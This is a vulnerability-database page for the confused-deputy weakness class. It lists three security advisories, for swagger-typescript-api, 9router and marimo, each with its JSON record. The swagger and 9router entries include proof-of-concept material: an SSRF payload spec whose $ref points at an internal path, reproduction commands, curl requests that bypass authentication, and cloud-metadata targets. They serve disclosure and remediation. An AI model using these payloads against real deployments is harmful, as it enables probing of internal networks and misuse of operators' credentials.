Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

274 vulnerabilities reference this CWE, most recent first.

GHSA-X36R-4347-PM5X

Vulnerability from github – Published: 2026-07-29 14:28 – Updated: 2026-07-29 14:28
VLAI
Summary
swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`
Details

Summary

swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.

The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).

Details

SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:

// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
  if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
    return;
  }
  const visited = new Set<string>();
  const queue = [this.stripHash(this.config.url)];

  while (queue.length > 0) {
    const currentUrl = queue.shift();
    if (!currentUrl || visited.has(currentUrl)) continue;
    visited.add(currentUrl);

    if (this.externalSchemaCache.has(currentUrl)) continue;
    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET
    if (!schema) continue;
    this.externalSchemaCache.set(currentUrl, schema);

    for (const ref of this.extractRefsFromSchema(schema)) {
      const normalizedRef = this.normalizeRef(ref);
      if (normalizedRef.startsWith("#")) continue;

      const [externalPath = ""] = normalizedRef.split("#");
      if (!externalPath) continue;

      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
      if (absoluteUrl && !visited.has(absoluteUrl)) {
        queue.push(absoluteUrl);                                       // <-- recurse
      }
    }
  }
}

The fetch itself:

// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
  headers: this.getRemoteRequestHeaders(),
});

…and the only URL-shape filter:

// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
  return /^https?:\/\//i.test(value);
}

There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.

Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).

PoC

Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):

{
  "openapi": "3.0.0",
  "info": { "title": "SSRF-payload", "version": "1.0.0" },
  "paths": {
    "/p": {
      "get": {
        "operationId": "p",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
                }
              }
            }
          }
        }
      }
    }
  }
}

Steps:

# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  output: '/tmp/out',
  url: 'http://127.0.0.1:<spec-port>/spec.json',
  httpClientType: 'fetch'
}))"

Observed (control vs payload):

[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>

The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.

Impact

Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.

Affected use cases:

  • A developer running sta generate --url https://attacker.example/openapi.json against an attacker-hosted spec.
  • A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
  • A CI/CD pipeline regenerating clients from a spec on every build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project where a contributor can modify the pinned spec via a pull request.

What an attacker can do with this:

  • Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
  • Hit cloud-provider instance metadata endpoints (http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.
  • Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
  • Combine with the companion finding (Authorization-token forwarding to $ref URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.

Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.

Suggested fix:

Defense in depth at three layers, in priority order:

  1. Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 0.0.0.0/8, and IPv6 equivalents (::1, fc00::/7, fe80::/10, ::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding.
  2. Use a custom undici dispatcher with connect hook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-in fetch.
  3. Set redirect: "manual" in the fetch options and validate each redirect URL through the same allowlist before following it.

If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:28:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` \u2014 there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator\u0027s network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set\u003cstring\u003e();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length \u003e 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // \u003c-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // \u003c-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node\u0027s built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node\u0027s undici-backed implementation, an external 302 redirect from an attacker\u0027s spec server to an internal URL ALSO succeeds \u2014 even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be an \"internal\" service \u2014 run the generator against each, observe the internal server\u0027s hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  output: \u0027/tmp/out\u0027,\n  url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n  httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) \u2192 internal-server hits: 0\n[payload] ($ref \u2192 http://127.0.0.1:\u003cinternal-port\u003e/...) \u2192 internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator\u0027s `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process \u2014 typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator\u0027s network reachability \u2014 enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs \u2014 filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL\u0027s hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** \u2014 the only reliable way to defeat DNS rebinding in Node\u0027s built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-x36r-4347-pm5x",
  "modified": "2026-07-29T14:28:58Z",
  "published": "2026-07-29T14:28:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`"
}

GHSA-X5C9-V98J-722R

Vulnerability from github – Published: 2026-09-23 18:12 – Updated: 2026-09-23 18:12
VLAI
Summary
9router /v1 APIs has unauthenticated access via reverse proxy locality collapse
Details

Summary

9router treats local loopback requests as trusted and allows access to /v1/* without an API key. In a documented/common reverse-proxy deployment where nginx forwards public traffic to the backend via 127.0.0.1, external non-Origin requests are misclassified as local. This allows unauthenticated access to /v1 APIs such as /v1/models, and may allow abuse of configured upstream provider credentials depending on the enabled providers.

Details

  • Affected version / commit: 9router v0.4.80 @ b282f05.
  • Deployment precondition: a same-host reverse proxy (e.g. nginx) forwarding public traffic to the backend on 127.0.0.1 / localhost. This mirrors the documented cloud deployment (proxy_pass http://localhost:20128 with X-Real-IP / X-Forwarded-For).
  • Observed behaviour:
  • The direct backend (direct-backend, port 18081) returns 401 for /v1/models without an API key.
  • A direct request that spoofs X-9r-Real-IP: 127.0.0.1 still returns 401: the custom server deletes the client-supplied header and overwrites it with the real socket address, so naive header spoofing does not work against the direct backend.
  • The proxied path (reverse-proxy, port 18080) returns 200 with the full model catalog for the same /v1/models request without any API key.
  • A proxied request that carries an Origin header returns 401. The bypass therefore primarily affects curl / SDK / server-side / non-browser clients, which do not send Origin.
  • Root cause: the backend's local/remote decision relies on perceived socket/loopback locality after reverse proxying. Because nginx connects to the backend from 127.0.0.1, the backend stamps a loopback client address for every internet client and treats the request as local, skipping the /v1 API-key requirement. The forwarded X-Real-IP / X-Forwarded-For headers that carry the true client IP are ignored for this decision.
  • This is not a simple client header-spoofing issue (the direct-spoof control above proves header spoofing is rejected); it is a property of how loopback proxy traffic is trusted.

Proof of Concept

This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.

  1. Build and start the stack: bash docker compose up --build
  2. Direct baseline (no API key): bash curl -i http://127.0.0.1:18081/v1/models
  3. Direct spoof control: bash curl -i -H "X-9r-Real-IP: 127.0.0.1" http://127.0.0.1:18081/v1/models
  4. Reverse-proxy bypass (no API key): bash curl -i http://127.0.0.1:18080/v1/models
  5. Reverse-proxy Origin control: bash curl -i -H "Origin: http://evil.example" http://127.0.0.1:18080/v1/models

Expected evidence

Request Result
Direct 18081, no key 401 Unauthorized ({"error":"API key required for remote API access"})
Direct 18081, X-9r-Real-IP: 127.0.0.1 spoof 401 Unauthorized
Proxied 18080, no key 200 OK with the full model catalog
Proxied 18080, with Origin 401 Unauthorized

Impact

  • Unauthenticated access to the /v1 API surface in the affected reverse-proxy deployment.
  • Model enumeration via /v1/models.
  • Possible abuse of the operator's configured upstream provider credentials through /v1/chat/completions and other /v1 proxy endpoints (the attacker spends the operator's provider quota/keys without holding any key of their own).
  • Actual impact depends on which providers are configured and how the instance is exposed to the public internet.
  • The attacker requires no API key.

Suggested Fix

  • Do not use client/proxy/socket IP locality as an authentication bypass.
  • Require an API key by default for /v1/* on public listeners.
  • If local trust is genuinely needed, bind it to an unguessable server-generated secret or to a Unix domain socket that is only accessible locally — not to "the connection looks like loopback".
  • When running behind reverse proxies, use an explicit trusted-proxy configuration and a real client-IP derivation (e.g. a vetted X-Forwarded-For chain), and never treat all loopback proxy traffic as end-user-local.
  • Document a secure reverse-proxy configuration for operators.
Severity
8.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.80"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290",
      "CWE-306",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T18:12:26Z",
    "nvd_published_at": "2026-07-10T17:17:01Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router treats local loopback requests as trusted and allows access to `/v1/*` without an\nAPI key. In a documented/common reverse-proxy deployment where nginx forwards public\ntraffic to the backend via `127.0.0.1`, external non-`Origin` requests are misclassified as\nlocal. This allows unauthenticated access to `/v1` APIs such as `/v1/models`, and may allow\nabuse of configured upstream provider credentials depending on the enabled providers.\n\n## Details\n\n- **Affected version / commit:** 9router `v0.4.80` @ `b282f05`.\n- **Deployment precondition:** a same-host reverse proxy (e.g. nginx) forwarding public\n  traffic to the backend on `127.0.0.1` / `localhost`. This mirrors the documented cloud\n  deployment (`proxy_pass http://localhost:20128` with `X-Real-IP` / `X-Forwarded-For`).\n- **Observed behaviour:**\n  - The **direct backend** (`direct-backend`, port `18081`) returns `401` for `/v1/models`\n    without an API key.\n  - A **direct request that spoofs** `X-9r-Real-IP: 127.0.0.1` still returns `401`: the\n    custom server deletes the client-supplied header and overwrites it with the real socket\n    address, so naive header spoofing does not work against the direct backend.\n  - The **proxied path** (`reverse-proxy`, port `18080`) returns `200` with the full model\n    catalog for the same `/v1/models` request **without any API key**.\n  - A **proxied request that carries an `Origin` header** returns `401`. The bypass\n    therefore primarily affects curl / SDK / server-side / non-browser clients, which do\n    not send `Origin`.\n- **Root cause:** the backend\u0027s local/remote decision relies on perceived socket/loopback\n  locality after reverse proxying. Because nginx connects to the backend from `127.0.0.1`,\n  the backend stamps a loopback client address for **every** internet client and treats the\n  request as local, skipping the `/v1` API-key requirement. The forwarded `X-Real-IP` /\n  `X-Forwarded-For` headers that carry the true client IP are ignored for this decision.\n- This is **not** a simple client header-spoofing issue (the direct-spoof control above\n  proves header spoofing is rejected); it is a property of how loopback proxy traffic is\n  trusted.\n\n## Proof of Concept\n\nThis repository is a self-contained Docker Compose reproduction. No real provider is called\nand no real API key is required.\n\n1. Build and start the stack:\n   ```bash\n   docker compose up --build\n   ```\n2. Direct baseline (no API key):\n   ```bash\n   curl -i http://127.0.0.1:18081/v1/models\n   ```\n3. Direct spoof control:\n   ```bash\n   curl -i -H \"X-9r-Real-IP: 127.0.0.1\" http://127.0.0.1:18081/v1/models\n   ```\n4. Reverse-proxy bypass (no API key):\n   ```bash\n   curl -i http://127.0.0.1:18080/v1/models\n   ```\n5. Reverse-proxy `Origin` control:\n   ```bash\n   curl -i -H \"Origin: http://evil.example\" http://127.0.0.1:18080/v1/models\n   ```\n\n### Expected evidence\n\n| Request | Result |\n|---------|--------|\n| Direct `18081`, no key | `401 Unauthorized` (`{\"error\":\"API key required for remote API access\"}`) |\n| Direct `18081`, `X-9r-Real-IP: 127.0.0.1` spoof | `401 Unauthorized` |\n| Proxied `18080`, no key | `200 OK` with the full model catalog |\n| Proxied `18080`, with `Origin` | `401 Unauthorized` |\n\n## Impact\n\n- Unauthenticated access to the `/v1` API surface in the affected reverse-proxy deployment.\n- Model enumeration via `/v1/models`.\n- Possible abuse of the operator\u0027s configured upstream provider credentials through\n  `/v1/chat/completions` and other `/v1` proxy endpoints (the attacker spends the operator\u0027s\n  provider quota/keys without holding any key of their own).\n- Actual impact depends on which providers are configured and how the instance is exposed\n  to the public internet.\n- The attacker requires **no API key**.\n\n## Suggested Fix\n\n- Do not use client/proxy/socket IP locality as an authentication bypass.\n- Require an API key by default for `/v1/*` on public listeners.\n- If local trust is genuinely needed, bind it to an unguessable server-generated secret or\n  to a Unix domain socket that is only accessible locally \u2014 not to \"the connection looks\n  like loopback\".\n- When running behind reverse proxies, use an explicit trusted-proxy configuration and a\n  real client-IP derivation (e.g. a vetted `X-Forwarded-For` chain), and never treat all\n  loopback proxy traffic as end-user-local.\n- Document a secure reverse-proxy configuration for operators.",
  "id": "GHSA-x5c9-v98j-722r",
  "modified": "2026-09-23T18:12:26Z",
  "published": "2026-09-23T18:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-x5c9-v98j-722r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/da667836cc7584bea0edd893de1d590c9ea279dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router /v1 APIs has unauthenticated access via reverse proxy locality collapse"
}

GHSA-XJV7-6W92-42R7

Vulnerability from github – Published: 2025-10-01 21:20 – Updated: 2025-11-20 17:20
VLAI
Summary
marimo vulnerable to proxy abuse of /mpl/{port}/
Details

Summary

The /mpl/<port>/<route> endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports.

Details

From our understanding, this route is used internally to provide access to interactive matplotlib visualizations. marimo/marimo/_server/main.py at main · marimo-team/marimo This endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified <port> and <route>.

The existence of this proxy is visible in the application's code (marimo/_server/main.py), but there's no official documentation or warning about its behavior or potential risks.

Impact

CWE-441: Proxying Without Authentication

This vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.

Full Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.

Exposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:

Old CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.

phpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.

RPCMapper: Can be used for network reconnaissance and enumerating services.

While you’d hope people wouldn’t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn't limited to a few isolated cases but is a widespread issue affecting production environments.

===

Notes, this was discovered by devgi. I (acepace) followed up and also created this report.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "marimo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.20"
            },
            {
              "fixed": "0.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-01T21:20:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe  `/mpl/\u003cport\u003e/\u003croute\u003e` endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports. \n\n### Details\nFrom our understanding, this route is used internally to provide access to interactive matplotlib visualizations.\n[marimo/marimo/_server/main.py at main \u00b7 marimo-team/marimo](https://github.com/marimo-team/marimo/blob/main/marimo/_server/main.py) \nThis endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified `\u003cport\u003e` and `\u003croute\u003e`.\n\nThe existence of this proxy is visible in the application\u0027s code (marimo/_server/main.py), but there\u0027s no official documentation or warning about its behavior or potential risks.\n\n\n### Impact\nCWE-441: Proxying Without Authentication\n\nThis vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.\n\nFull Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.\n\nExposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:\n\nOld CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.\n\nphpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.\n\nRPCMapper: Can be used for network reconnaissance and enumerating services.\n\nWhile you\u2019d hope people wouldn\u2019t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn\u0027t limited to a few isolated cases but is a widespread issue affecting production environments.\n\n===\n\nNotes, this was discovered by [devgi](https://github.com/devgi). I ([acepace](https://github.com/acepace)) followed up and also created this report.",
  "id": "GHSA-xjv7-6w92-42r7",
  "modified": "2025-11-20T17:20:23Z",
  "published": "2025-10-01T21:20:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-xjv7-6w92-42r7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/commit/0312706d5e594acdb405209b2c8d87c98f46b22b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/marimo-team/marimo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/marimo-team/marimo/releases/tag/0.16.4"
    },
    {
      "type": "WEB",
      "url": "https://marimo-team.notion.site/cve-proxy-without-authentication"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "marimo vulnerable to proxy abuse of /mpl/{port}/"
}

